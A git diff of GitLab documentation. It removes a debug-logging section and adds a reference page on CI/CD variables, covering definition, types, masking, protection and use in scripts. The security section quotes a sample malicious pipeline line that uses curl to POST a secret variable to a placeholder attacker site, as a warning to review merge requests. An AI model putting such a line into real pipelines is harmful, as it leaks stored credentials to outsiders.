-> Introduced in GitLab Runner 1.7.
-
-WARNING:
-Debug logging can be a serious security risk. The output contains the content of
-all variables and other secrets available to the job. The output is uploaded to the
-GitLab server and visible in job logs.
-
-You can use debug logging to help troubleshoot problems with pipeline configuration
-or job scripts. Debug logging exposes job execution details that are usually hidden
-by the runner and makes job logs more verbose. It also exposes all variables and secrets
-available to the job.
-
-Before you enable debug logging, make sure only [team members](../../user/permissions.md#project-features)
-can view job logs. You should also [delete job logs](../jobs/index.md#view-jobs-in-a-pipeline)
-with debug output before you make logs public again.
-
-### Enable Debug logging
-
-To enable debug logging (tracing), set the `CI_DEBUG_TRACE` variable to `true`:
-
-```yaml
-job_name:
- variables:
- CI_DEBUG_TRACE: "true"
-```
-
-Example output (truncated):
-
-```shell
-...
-export CI_SERVER_TLS_CA_FILE="/builds/gitlab-examples/ci-debug-trace.tmp/CI_SERVER_TLS_CA_FILE"
-if [[ -d "/builds/gitlab-examples/ci-debug-trace/.git" ]]; then
- echo $'\''\x1b[32;1mFetching changes...\x1b[0;m'\''
- $'\''cd'\'' "/builds/gitlab-examples/ci-debug-trace"
- $'\''git'\'' "config" "fetch.recurseSubmodules" "false"
- $'\''rm'\'' "-f" ".git/index.lock"
- $'\''git'\'' "clean" "-ffdx"
- $'\''git'\'' "reset" "--hard"
- $'\''git'\'' "remote" "set-url" "origin" "https://gitlab-ci-token:xxxxxxxxxxxxxxxxxxxx@example.com/gitlab-examples/ci-debug-trace.git"
- $'\''git'\'' "fetch" "origin" "--prune" "+refs/heads/*:refs/remotes/origin/*" "+refs/tags/*:refs/tags/lds"
-++ CI_BUILDS_DIR=/builds
-++ export CI_PROJECT_DIR=/builds/gitlab-examples/ci-debug-trace
-++ CI_PROJECT_DIR=/builds/gitlab-examples/ci-debug-trace
-++ export CI_CONCURRENT_ID=87
-++ CI_CONCURRENT_ID=87
-++ export CI_CONCURRENT_PROJECT_ID=0
-++ CI_CONCURRENT_PROJECT_ID=0
-++ export CI_SERVER=yes
-++ CI_SERVER=yes
-++ mkdir -p /builds/gitlab-examples/ci-debug-trace.tmp
-++ echo -n '-----BEGIN CERTIFICATE-----
------END CERTIFICATE-----'
-++ export CI_SERVER_TLS_CA_FILE=/builds/gitlab-examples/ci-debug-trace.tmp/CI_SERVER_TLS_CA_FILE
-++ CI_SERVER_TLS_CA_FILE=/builds/gitlab-examples/ci-debug-trace.tmp/CI_SERVER_TLS_CA_FILE
-++ export CI_PIPELINE_ID=52666
-++ CI_PIPELINE_ID=52666
-++ export CI_PIPELINE_URL=https://gitlab.com/gitlab-examples/ci-debug-trace/pipelines/52666
-++ CI_PIPELINE_URL=https://gitlab.com/gitlab-examples/ci-debug-trace/pipelines/52666
-++ export CI_JOB_ID=7046507
-++ CI_JOB_ID=7046507
-++ export CI_JOB_URL=https://gitlab.com/gitlab-examples/ci-debug-trace/-/jobs/379424655
-++ CI_JOB_URL=https://gitlab.com/gitlab-examples/ci-debug-trace/-/jobs/379424655
-++ export CI_JOB_TOKEN=[MASKED]
-++ CI_JOB_TOKEN=[MASKED]
-++ export CI_REGISTRY_USER=gitlab-ci-token
-++ CI_REGISTRY_USER=gitlab-ci-token
-++ export CI_REGISTRY_PASSWORD=[MASKED]
-++ CI_REGISTRY_PASSWORD=[MASKED]
-++ export CI_REPOSITORY_URL=https://gitlab-ci-token:[MASKED]@gitlab.com/gitlab-examples/ci-debug-trace.git
-++ CI_REPOSITORY_URL=https://gitlab-ci-token:[MASKED]@gitlab.com/gitlab-examples/ci-debug-trace.git
-++ export CI_JOB_NAME=debug_trace
-++ CI_JOB_NAME=debug_trace
-++ export CI_JOB_STAGE=test
-++ CI_JOB_STAGE=test
-++ export CI_NODE_TOTAL=1
-++ CI_NODE_TOTAL=1
-++ export CI=true
-++ CI=true
-++ export GITLAB_CI=true
-++ GITLAB_CI=true
-++ export CI_SERVER_URL=https://gitlab.com:3000
-++ CI_SERVER_URL=https://gitlab.com:3000
-++ export CI_SERVER_HOST=gitlab.com
-++ CI_SERVER_HOST=gitlab.com
-++ export CI_SERVER_PORT=3000
-++ CI_SERVER_PORT=3000
-++ export CI_SERVER_PROTOCOL=https
-++ CI_SERVER_PROTOCOL=https
-++ export CI_SERVER_NAME=GitLab
-++ CI_SERVER_NAME=GitLab
-++ export GITLAB_FEATURES=audit_events,burndown_charts,code_owners,contribution_analytics,description_diffs,elastic_search,group_bulk_edit,group_burndown_charts,group_webhooks,issuable_default_templates,issue_weights,jenkins_integration,ldap_group_sync,member_lock,merge_request_approvers,multiple_issue_assignees,multiple_ldap_servers,multiple_merge_request_assignees,protected_refs_for_users,push_rules,related_issues,repository_mirrors,repository_size_limit,scoped_issue_board,usage_quotas,visual_review_app,wip_limits,adjourned_deletion_for_projects_and_groups,admin_audit_log,auditor_user,batch_comments,blocking_merge_requests,board_assignee_lists,board_milestone_lists,ci_cd_projects,cluster_deployments,code_analytics,code_owner_approval_required,commit_committer_check,cross_project_pipelines,custom_file_templates,custom_file_templates_for_namespace,custom_project_templates,custom_prometheus_metrics,cycle_analytics_for_groups,db_load_balancing,default_project_deletion_protection,dependency_proxy,deploy_board,design_management,email_additional_text,extended_audit_events,external_authorization_service_api_management,feature_flags,file_locks,geo,github_project_service_integration,group_allowed_email_domains,group_project_templates,group_saml,issues_analytics,jira_dev_panel_integration,ldap_group_sync_filter,merge_pipelines,merge_request_performance_metrics,merge_trains,metrics_reports,multiple_approval_rules,multiple_group_issue_boards,object_storage,operations_dashboard,packages,productivity_analytics,project_aliases,protected_environments,reject_unsigned_commits,required_ci_templates,scoped_labels,service_desk,smartcard_auth,group_timelogs,type_of_work_analytics,unprotection_restrictions,ci_project_subscriptions,container_scanning,dast,dependency_scanning,epics,group_ip_restriction,incident_management,insights,license_management,personal_access_token_expiration_policy,pod_logs,prometheus_alerts,pseudonymizer,report_approver_rules,sast,security_dashboard,tracing,web_ide_terminal
-++ GITLAB_FEATURES=audit_events,burndown_charts,code_owners,contribution_analytics,description_diffs,elastic_search,group_bulk_edit,group_burndown_charts,group_webhooks,issuable_default_templates,issue_weights,jenkins_integration,ldap_group_sync,member_lock,merge_request_approvers,multiple_issue_assignees,multiple_ldap_servers,multiple_merge_request_assignees,protected_refs_for_users,push_rules,related_issues,repository_mirrors,repository_size_limit,scoped_issue_board,usage_quotas,visual_review_app,wip_limits,adjourned_deletion_for_projects_and_groups,admin_audit_log,auditor_user,batch_comments,blocking_merge_requests,board_assignee_lists,board_milestone_lists,ci_cd_projects,cluster_deployments,code_analytics,code_owner_approval_required,commit_committer_check,cross_project_pipelines,custom_file_templates,custom_file_templates_for_namespace,custom_project_templates,custom_prometheus_metrics,cycle_analytics_for_groups,db_load_balancing,default_project_deletion_protection,dependency_proxy,deploy_board,design_management,email_additional_text,extended_audit_events,external_authorization_service_api_management,feature_flags,file_locks,geo,github_project_service_integration,group_allowed_email_domains,group_project_templates,group_saml,issues_analytics,jira_dev_panel_integration,ldap_group_sync_filter,merge_pipelines,merge_request_performance_metrics,merge_trains,metrics_reports,multiple_approval_rules,multiple_group_issue_boards,object_storage,operations_dashboard,packages,productivity_analytics,project_aliases,protected_environments,reject_unsigned_commits,required_ci_templates,scoped_labels,service_desk,smartcard_auth,group_timelogs,type_of_work_analytics,unprotection_restrictions,ci_project_subscriptions,cluster_health,container_scanning,dast,dependency_scanning,epics,group_ip_restriction,incident_management,insights,license_management,personal_access_token_expiration_policy,pod_logs,prometheus_alerts,pseudonymizer,report_approver_rules,sast,security_dashboard,tracing,web_ide_terminal
-++ export CI_PROJECT_ID=17893
-++ CI_PROJECT_ID=17893
-++ export CI_PROJECT_NAME=ci-debug-trace
-++ CI_PROJECT_NAME=ci-debug-trace
-++ export CI_PROJECT_TITLE='GitLab FOSS'
-++ CI_PROJECT_TITLE='GitLab FOSS'
-++ export CI_PROJECT_PATH=gitlab-examples/ci-debug-trace
-++ CI_PROJECT_PATH=gitlab-examples/ci-debug-trace
-++ export CI_PROJECT_PATH_SLUG=gitlab-examples-ci-debug-trace
-++ CI_PROJECT_PATH_SLUG=gitlab-examples-ci-debug-trace
-++ export CI_PROJECT_NAMESPACE=gitlab-examples
-++ CI_PROJECT_NAMESPACE=gitlab-examples
-++ export CI_PROJECT_ROOT_NAMESPACE=gitlab-examples
-++ CI_PROJECT_ROOT_NAMESPACE=gitlab-examples
-++ export CI_PROJECT_URL=https://gitlab.com/gitlab-examples/ci-debug-trace
-++ CI_PROJECT_URL=https://gitlab.com/gitlab-examples/ci-debug-trace
-++ export CI_PROJECT_VISIBILITY=public
-++ CI_PROJECT_VISIBILITY=public
-++ export CI_PROJECT_REPOSITORY_LANGUAGES=
-++ CI_PROJECT_REPOSITORY_LANGUAGES=
-++ export CI_DEFAULT_BRANCH=main
-++ CI_DEFAULT_BRANCH=main
-++ export CI_REGISTRY=registry.gitlab.com
-++ CI_REGISTRY=registry.gitlab.com
-++ export CI_API_V4_URL=https://gitlab.com/api/v4
-++ CI_API_V4_URL=https://gitlab.com/api/v4
-++ export CI_PIPELINE_IID=123
-++ CI_PIPELINE_IID=123
-++ export CI_PIPELINE_SOURCE=web
-++ CI_PIPELINE_SOURCE=web
-++ export CI_CONFIG_PATH=.gitlab-ci.yml
-++ CI_CONFIG_PATH=.gitlab-ci.yml
-++ export CI_COMMIT_SHA=dd648b2e48ce6518303b0bb580b2ee32fadaf045
-++ CI_COMMIT_SHA=dd648b2e48ce6518303b0bb580b2ee32fadaf045
-++ export CI_COMMIT_SHORT_SHA=dd648b2e
-++ CI_COMMIT_SHORT_SHA=dd648b2e
-++ export CI_COMMIT_BEFORE_SHA=0000000000000000000000000000000000000000
-++ CI_COMMIT_BEFORE_SHA=0000000000000000000000000000000000000000
-++ export CI_COMMIT_REF_NAME=main
-++ CI_COMMIT_REF_NAME=main
-++ export CI_COMMIT_REF_SLUG=main
-++ CI_COMMIT_REF_SLUG=main
-...
-```
-
-### Restrict access to debug logging
-
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/213159) in GitLab 13.7.
-> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/292661) in GitLab 13.8.
-
-You can restrict access to debug logging. When restricted, only users with
-[developer or higher permissions](../../user/permissions.md#project-members-permissions)
-can view job logs when debug logging is enabled with a variable in:
-
-- The [`.gitlab-ci.yml` file](#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file).
-- The CI/CD variables set in the GitLab UI.
-
-WARNING:
-If you add `CI_DEBUG_TRACE` as a local variable to runners, debug logs generate and are visible
-to all users with access to job logs. The permission levels are not checked by the runner,
-so you should only use the variable in GitLab itself.
-
-## Video walkthrough of a working example
-
-The [Managing the Complex Configuration Data Management Monster Using GitLab](https://www.youtube.com/watch?v=v4ZOJ96hAck)
-video is a walkthrough of the [Complex Configuration Data Monorepo](https://gitlab.com/guided-explorations/config-data-top-scope/config-data-subscope/config-data-monorepo)
-working example project. It explains how multiple levels of group CI/CD variables
-can be combined with environment-scoped project variables for complex configuration
-of application builds or deployments.
-
-The example can be copied to your own group or instance for testing. More details
-on what other GitLab CI patterns are demonstrated are available at the project page.
+<!-- This redirect file can be deleted after 2021-09-28. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/ci/variables/index.md b/doc/ci/variables/index.md
new file mode 100644
index 00000000000..e6768968d83
--- /dev/null
+++ b/doc/ci/variables/index.md
@@ -0,0 +1,824 @@
+---
+stage: Verify
+group: Pipeline Authoring
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+type: reference
+---
+
+# GitLab CI/CD variables **(FREE)**
+
+CI/CD variables are a type of environment variable. You can use them to:
+
+- Control the behavior of jobs and [pipelines](../pipelines/index.md).
+- Store values you want to re-use.
+- Avoid hard-coding values in your `.gitlab-ci.yml` file.
+
+You can use [predefined CI/CD variables](#predefined-cicd-variables) or define custom:
+
+- [Variables in the `.gitlab-ci.yml` file](#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file).
+- [Project CI/CD variables](#add-a-cicd-variable-to-a-project).
+- [Group CI/CD variables](#add-a-cicd-variable-to-a-group).
+- [Instance CI/CD variables](#add-a-cicd-variable-to-an-instance).
+
+> For more information about advanced use of GitLab CI/CD:
+>
+> - <i class="fa fa-youtube-play youtube" aria-hidden="true"></i>&nbsp;Get to productivity faster with these [7 advanced GitLab CI workflow hacks](https://about.gitlab.com/webcast/7cicd-hacks/)
+> shared by GitLab engineers.
+> - <i class="fa fa-youtube-play youtube" aria-hidden="true"></i>&nbsp;Learn how the Cloud Native Computing Foundation (CNCF) [eliminates the complexity](https://about.gitlab.com/customers/cncf/)
+> of managing projects across many cloud providers with GitLab CI/CD.
+
+## Predefined CI/CD variables
+
+GitLab CI/CD has a [default set of predefined CI/CD variables](predefined_variables.md)
+you can use in pipelines configuration and job scripts.
+
+### Use predefined CI/CD variables
+
+You can use predefined CI/CD variables in your `.gitlab-ci.yml` without declaring them first.
+
+This example shows how to output a job's stage by using the `CI_JOB_STAGE`
+predefined variable:
+
+```yaml
+test_variable:
+ stage: test
+ script:
+ - echo "$CI_JOB_STAGE"
+```
+
+The script outputs the `stage` for the `test_variable`, which is `test`:
+
+![Output `$CI_JOB_STAGE`](img/ci_job_stage_output_example.png)
+
+## Custom CI/CD variables
+
+You can create custom CI/CD variables:
+
+- For a project:
+ - [In the project's `.gitlab-ci.yml` file](#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file).
+ - [In the project's settings](#add-a-cicd-variable-to-a-project).
+ - [With the API](../../api/project_level_variables.md).
+- For all projects in a group [in the group's setting](#add-a-cicd-variable-to-a-group).
+- For all projects in a GitLab instance [in the instance's settings](#add-a-cicd-variable-to-an-instance).
+
+You can [override variable values manually for a specific pipeline](../jobs/index.md#specifying-variables-when-running-manual-jobs),
+or have them [prefilled in manual pipelines](../pipelines/index.md#prefill-variables-in-manual-pipelines).
+
+There are two types of variables: [`File` or `Variable`](#cicd-variable-types).
+
+Variable names are limited by the [shell the runner uses](https://docs.gitlab.com/runner/shells/index.html)
+to execute scripts. Each shell has its own set of reserved variable names.
+
+Make sure each variable is defined for the [scope you want to use it in](where_variables_can_be_used.md).
+
+By default, pipelines from forked projects can't access CI/CD variables in the parent project.
+If you [run a merge request pipeline in the parent project for a merge request from a fork](../pipelines/merge_request_pipelines.md#run-pipelines-in-the-parent-project-for-merge-requests-from-a-forked-project),
+all variables become available to the pipeline.
+
+### Create a custom CI/CD variable in the `.gitlab-ci.yml` file
+
+To create a custom variable in the [`.gitlab-ci.yml`](../yaml/index.md#variables) file,
+define the variable and value with `variables` keyword.
+
+You can use the `variables` keyword in a job or at the top level of the `.gitlab-ci.yml` file.
+If the variable is at the top level, it's globally available and all jobs can use it.
+If it's defined in a job, only that job can use it.
+
+```yaml
+variables:
+ TEST_VAR: "All jobs can use this variable's value"
+
+job1:
+ variables:
+ TEST_VAR_JOB: "Only job1 can use this variable's value"
+ script:
+ - echo "$TEST_VAR" and "$TEST_VAR_JOB"
+```
+
+Variables saved in the `.gitlab-ci.yml` file should store only non-sensitive project
+configuration, like a `RAILS_ENV` or `DATABASE_URL` variable. These variables are
+visible in the repository. Store sensitive variables containing secrets, keys, and so on
+in project settings.
+
+Variables saved in the `.gitlab-ci.yml` file are also available in [service containers](../docker/using_docker_images.md).
+
+If you don't want globally defined variables to be available in a job, set `variables`
+to `{}`:
+
+```yaml
+job1:
+ variables: {}
+ script:
+ - echo This job does not need any variables
+```
+
+You can use variables to help define other variables. Use `$$` to ignore a variable
+name inside another variable:
+
+```yaml
+variables:
+ FLAGS: '-al'
+ LS_CMD: 'ls "$FLAGS" $$TMP_DIR'
+script:
+ - 'eval "$LS_CMD"' # Executes 'ls -al $TMP_DIR'
+```
+
+Use the [`value` and `description`](../yaml/index.md#prefill-variables-in-manual-pipelines)
+keywords to define [variables that are prefilled](../pipelines/index.md#prefill-variables-in-manual-pipelines)
+for [manually-triggered pipelines](../pipelines/index.md#run-a-pipeline-manually).
+
+### Add a CI/CD variable to a project
+
+You can add CI/CD variables to a project's settings. Only project members with the
+[Maintainer role](../../user/permissions.md#project-members-permissions)
+can add or update project CI/CD variables. To keep a CI/CD variable secret, put it
+in the project settings, not in the `.gitlab-ci.yml` file.
+
+To add or update variables in the project settings:
+
+1. Go to your project's **Settings > CI/CD** and expand the **Variables** section.
+1. Select the **Add Variable** button and fill in the details:
+
+ - **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`.
+ - **Value**: No limitations.
+ - **Type**: [`File` or `Variable`](#cicd-variable-types).
+ - **Environment scope**: (Optional) `All`, or specific [environments](../environments/index.md).
+ - **Protect variable** (Optional): If selected, the variable is only available
+ in pipelines that run on protected branches or tags.
+ - **Mask variable** (Optional): If selected, the variable's **Value** is masked
+ in job logs. The variable fails to save if the value does not meet the
+ [masking requirements](#mask-a-cicd-variable).
+
+After you create a variable, you can use it in the `.gitlab-ci.yml` file:
+
+```yaml
+test_variable:
+ stage: test
+ script:
+ - echo "$CI_JOB_STAGE" # calls a predefined variable
+ - echo "$TEST" # calls a custom variable of type `env_var`
+ - echo "$GREETING" # calls a custom variable of type `file` that contains the path to the temp file
+ - cat "$GREETING" # the temp file itself contains the variable value
+```
+
+The output is:
+
+![Output custom variable](img/custom_variables_output.png)
+
+### Add a CI/CD variable to a group
+
+> Support for [environment scopes](https://gitlab.com/gitlab-org/gitlab/-/issues/2874) added to GitLab Premium in 13.11
+
+To make a CI/CD variable available to all projects in a group, define a group CI/CD variable.
+
+Use group variables to store secrets like passwords, SSH keys, and credentials, if you:
+
+- Do **not** use an external key store.
+- Use the GitLab [integration with HashiCorp Vault](../secrets/index.md).
+
+To add a group variable:
+
+1. In the group, go to **Settings > CI/CD**.
+1. Select the **Add Variable** button and fill in the details:
+
+ - **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`.
+ - **Value**: No limitations.
+ - **Type**: [`File` or `Variable`](#cicd-variable-types).
+ - **Environment scope** (Optional): `All`, or specific [environments](#limit-the-environment-scope-of-a-cicd-variable). **(PREMIUM)**
+ - **Protect variable** (Optional): If selected, the variable is only available
+ in pipelines that run on protected branches or tags.
+ - **Mask variable** (Optional): If selected, the variable's **Value** is masked
+ in job logs. The variable fails to save if the value does not meet the
+ [masking requirements](#mask-a-cicd-variable).
+
+#### View all group-level variables available in a project
+
+To view all the group-level variables available in a project:
+
+1. In the project, go to **Settings > CI/CD**.
+1. Expand the **Variables** section.
+
+Variables from [subgroups](../../user/group/subgroups/index.md) are recursively
+inherited.
+
+![CI/CD settings - inherited variables](img/inherited_group_variables_v12_5.png)
+
+### Add a CI/CD variable to an instance **(FREE SELF)**
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/14108) in GitLab 13.0.
+> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/299879) in GitLab 13.11.
+
+To make a CI/CD variable available to all projects and groups in a GitLab instance,
+add an instance CI/CD variable. You must have the [Administrator role](../../user/permissions.md).
+
+You can define instance variables via the UI or [API](../../api/instance_level_ci_variables.md).
+
+To add an instance variable:
+
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. On the left sidebar, select **Settings > CI/CD** and expand the **Variables** section.
+1. Select the **Add variable** button, and fill in the details:
+
+ - **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`.
+ - **Value**: [In GitLab 13.3 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/220028),
+ 10,000 characters is allowed. This is also bounded by the limits of the selected
+ runner operating system. In GitLab 13.0 to 13.2, 700 characters is allowed.
+ - **Type**: [`File` or `Variable`](#cicd-variable-types).
+ - **Protect variable** (Optional): If selected, the variable is only available
+ in pipelines that run on protected branches or tags.
+ - **Mask variable** (Optional): If selected, the variable's **Value** is not shown
+ in job logs. The variable is not saved if the value does not meet the [masking requirements](#mask-a-cicd-variable).
+
+### CI/CD variable types
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/46806) in GitLab 11.11.
+
+All predefined CI/CD variables and variables defined in the `.gitlab-ci.yml` file
+are `Variable` type. Project, group and instance CI/CD variables can be `Variable`
+or `File` type.
+
+`Variable` type variables:
+
+- Consist of a key and value pair.
+- Are made available in jobs as environment variables, with:
+ - The CI/CD variable key as the environment variable name.
+ - The CI/CD variable value as the environment variable value.
+
+Use `File` type CI/CD variables for tools that need a file as input.
+
+`File` type variables:
+
+- Consist of a key, value and file.
+- Are made available in jobs as environment variables, with
+ - The CI/CD variable key as the environment variable name.
+ - The CI/CD variable value saved to a temporary file.
+ - The path to the temporary file as the environment variable value.
+
+Some tools like [the AWS CLI](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-envvars.html)
+and [`kubectl`](https://kubernetes.io/docs/concepts/configuration/organize-cluster-access-kubeconfig/#the-kubeconfig-environment-variable)
+use `File` type variables for configuration.
+
+For example, if you have the following variables:
+
+- A variable of type `Variable`: `KUBE_URL` with the value `https://example.com`.
+- A variable of type `File`: `KUBE_CA_PEM` with a certificate as the value.
+
+Use the variables in a job script like this:
+
+```shell
+kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$KUBE_CA_PEM"
+```
+
+An alternative to `File` type variables is to:
+
+- Read the value of a CI/CD variable (`variable` type).
+- Save the value in a file.
+- Use that file in your script.
+
+```shell
+# Read certificate stored in $KUBE_CA_PEM variable and save it in a new file
+echo "$KUBE_CA_PEM" > "$(pwd)/kube.ca.pem"
+# Pass the newly created file to kubectl
+kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$(pwd)/kube.ca.pem"
+```
+
+### Mask a CI/CD variable
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/13784) in GitLab 11.10
+
+You can mask a project, group, or instance CI/CD variable so the value of the variable
+does not display in job logs.
+
+To mask a variable:
+
+1. In the project, group, or Admin Area, go to **Settings > CI/CD**.
+1. Expand the **Variables** section.
+1. Next to the variable you want to protect, select **Edit**.
+1. Select the **Mask variable** check box.
+1. Select **Update variable**.
+
+The value of the variable must:
+
+- Be a single line.
+- Be 8 characters or longer, consisting only of:
+ - Characters from the Base64 alphabet (RFC4648).
+ - The `@` and `:` characters ([In GitLab 12.2](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/63043) and later).
+ - The `.` character ([In GitLab 12.10](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/29022) and later).
+ - The `~` character ([In GitLab 13.12](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/61517) and later).
+- Not match the name of an existing predefined or custom CI/CD variable.
+
+NOTE:
+Masking a CI/CD variable is not a guaranteed way to prevent malicious users from accessing
+variable values. To make variables more secure, you can [use external secrets](../secrets/index.md).
+
+### Protect a CI/CD variable
+
+You can protect a project, group or instance CI/CD variable so it is only passed
+to pipelines running on [protected branches](../../user/project/protected_branches.md)
+or [protected tags](../../user/project/protected_tags.md).
+
+To protect a variable:
+
+1. Go to **Settings > CI/CD** in the project, group or instance admin area.
+1. Expand the **Variables** section.
+1. Next to the variable you want to protect, select **Edit**.
+1. Select the **Protect variable** check box.
+1. Select **Update variable**.
+
+The variable is available for all subsequent pipelines.
+
+### CI/CD variable security
+
+Malicious code pushed to your `.gitlab-ci.yml` file could compromise your variables
+and send them to a third party server regardless of the masked setting. If the pipeline
+runs on a [protected branch](../../user/project/protected_branches.md) or
+[protected tag](../../user/project/protected_tags.md), malicious code can compromise protected variables.
+
+Review all merge requests that introduce changes to the `.gitlab-ci.yml` file before you:
+
+- [Run a pipeline in the parent project for a merge request submitted from a forked project](../pipelines/merge_request_pipelines.md#run-pipelines-in-the-parent-project-for-merge-requests-from-a-forked-project).
+- Merge the changes.
+
+The following example shows malicious code in a `.gitlab-ci.yml` file:
+
+```yaml
+build:
+ script:
+ - curl --request POST --data "secret_variable=$SECRET_VARIABLE" "https://maliciouswebsite.abcd/"
+```
+
+Variable values are encrypted using [`aes-256-cbc`](https://en.wikipedia.org/wiki/Advanced_Encryption_Standard)
+and stored in the database. This data can only be read and decrypted with a
+valid [secrets file](../../raketasks/backup_restore.md#when-the-secrets-file-is-lost).
+
+### Custom variables validated by GitLab
+
+Some variables are listed in the UI so you can choose them more quickly.
+
+| Variable | Allowed Values | Introduced in |
+|-------------------------|----------------------------------------------------|---------------|
+| `AWS_ACCESS_KEY_ID` | Any | 12.10 |
+| `AWS_DEFAULT_REGION` | Any | 12.10 |
+| `AWS_SECRET_ACCESS_KEY` | Any | 12.10 |
+
+WARNING:
+When you store credentials, there are [security implications](#cicd-variable-security).
+If you use AWS keys for example, follow the [Best practices for managing AWS access keys](https://docs.aws.amazon.com/general/latest/gr/aws-access-keys-best-practices.html).
+
+## Use CI/CD variables in job scripts
+
+All CI/CD variables are set as environment variables in the job's environment.
+You can use variables in job scripts with the standard formatting for each environment's
+shell.
+
+To access environment variables, use the syntax for your [runner executor's shell](https://docs.gitlab.com/runner/executors/).
+
+### Use variables with Bash, `sh` and similar
+
+To access environment variables in Bash, `sh`, and similar shells, prefix the
+CI/CD variable with (`$`):
+
+```yaml
+job_name:
+ script:
+ - echo "$CI_JOB_ID"
+```
+
+### Use variables with PowerShell
+
+To access variables in a Windows PowerShell environment, including environment
+variables set by the system, prefix the variable name with (`$env:`) or (`$`):
+
+```yaml
+job_name:
+ script:
+ - echo $env:CI_JOB_ID
+ - echo $CI_JOB_ID
+ - echo $env:PATH
+```
+
+In [some cases](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4115#note_157692820)
+environment variables might need to be surrounded by quotes to expand properly:
+
+```yaml
+job_name:
+ script:
+ - D:\\qislsf\\apache-ant-1.10.5\\bin\\ant.bat "-DsosposDailyUsr=$env:SOSPOS_DAILY_USR" portal_test
+```
+
+### Use variables with Windows Batch
+
+To access CI/CD variables in Windows Batch, surround the variable
+with `%`:
+
+```yaml
+job_name:
+ script:
+ - echo %CI_JOB_ID%
+```
+
+You can also surround the variable with `!` for [delayed expansion](https://ss64.com/nt/delayedexpansion.html).
+Delayed expansion might be needed for variables that contain white spaces or newlines.
+
+```yaml
+job_name:
+ script:
+ - echo !ERROR_MESSAGE!
+```
+
+### List all environment variables
+
+You can list all environment variables available to a script with the `export` command
+in Bash or `dir env:` in PowerShell. This exposes the values of **all** available
+variables, which can be a [security risk](#cicd-variable-security).
+[Masked variables](#mask-a-cicd-variable) display as `[masked]`.
+
+For example:
+
+```yaml
+job_name:
+ script:
+ - export
+ # - 'dir env:' # Use this for PowerShell
+```
+
+Example job log output:
+
+```shell
+export CI_JOB_ID="50"
+export CI_COMMIT_SHA="1ecfd275763eff1d6b4844ea3168962458c9f27a"
+export CI_COMMIT_SHORT_SHA="1ecfd275"
+export CI_COMMIT_REF_NAME="main"
+export CI_REPOSITORY_URL="https://gitlab-ci-token:[masked]@example.com/gitlab-org/gitlab-foss.git"
+export CI_COMMIT_TAG="1.0.0"
+export CI_JOB_NAME="spec:other"
+export CI_JOB_STAGE="test"
+export CI_JOB_MANUAL="true"
+export CI_JOB_TRIGGERED="true"
+export CI_JOB_TOKEN="[masked]"
+export CI_PIPELINE_ID="1000"
+export CI_PIPELINE_IID="10"
+export CI_PAGES_DOMAIN="gitlab.io"
+export CI_PAGES_URL="https://gitlab-org.gitlab.io/gitlab-foss"
+export CI_PROJECT_ID="34"
+export CI_PROJECT_DIR="/builds/gitlab-org/gitlab-foss"
+export CI_PROJECT_NAME="gitlab-foss"
+export CI_PROJECT_TITLE="GitLab FOSS"
+export CI_PROJECT_NAMESPACE="gitlab-org"
+export CI_PROJECT_ROOT_NAMESPACE="gitlab-org"
+export CI_PROJECT_PATH="gitlab-org/gitlab-foss"
+export CI_PROJECT_URL="https://example.com/gitlab-org/gitlab-foss"
+export CI_REGISTRY="registry.example.com"
+export CI_REGISTRY_IMAGE="registry.example.com/gitlab-org/gitlab-foss"
+export CI_REGISTRY_USER="gitlab-ci-token"
+export CI_REGISTRY_PASSWORD="[masked]"
+export CI_RUNNER_ID="10"
+export CI_RUNNER_DESCRIPTION="my runner"
+export CI_RUNNER_TAGS="docker, linux"
+export CI_SERVER="yes"
+export CI_SERVER_URL="https://example.com"
+export CI_SERVER_HOST="example.com"
+export CI_SERVER_PORT="443"
+export CI_SERVER_PROTOCOL="https"
+export CI_SERVER_NAME="GitLab"
+export CI_SERVER_REVISION="70606bf"
+export CI_SERVER_VERSION="8.9.0"
+export CI_SERVER_VERSION_MAJOR="8"
+export CI_SERVER_VERSION_MINOR="9"
+export CI_SERVER_VERSION_PATCH="0"
+export GITLAB_USER_EMAIL="user@example.com"
+export GITLAB_USER_ID="42"
+...
+```
+
+## Pass an environment variable to another job
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/22638) in GitLab 13.0.
+> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/217834) in GitLab 13.1.
+
+You can pass environment variables from one job to another job in a later stage.
+These variables cannot be used as CI/CD variables to configure a pipeline, but
+they can be used in job scripts.
+
+1. In the job script, save the variable as a `.env` file.
+1. Save the `.env` file as an [`artifacts:reports:dotenv`](../yaml/index.md#artifactsreportsdotenv)
+artifact.
+1. Set a job in a later stage to receive the artifact by using the [`dependencies`](../yaml/index.md#dependencies)
+ or the [`needs`](../yaml/index.md#artifact-downloads-with-needs) keywords.
+1. The later job can then [use the variable in scripts](#use-cicd-variables-in-job-scripts).
+
+For example, with the [`dependencies`](../yaml/index.md#dependencies) keyword:
+
+```yaml
+build:
+ stage: build
+ script:
+ - echo "BUILD_VERSION=hello" >> build.env
+ artifacts:
+ reports:
+ dotenv: build.env
+
+deploy:
+ stage: deploy
+ script:
+ - echo "$BUILD_VERSION" # Output is: 'hello'
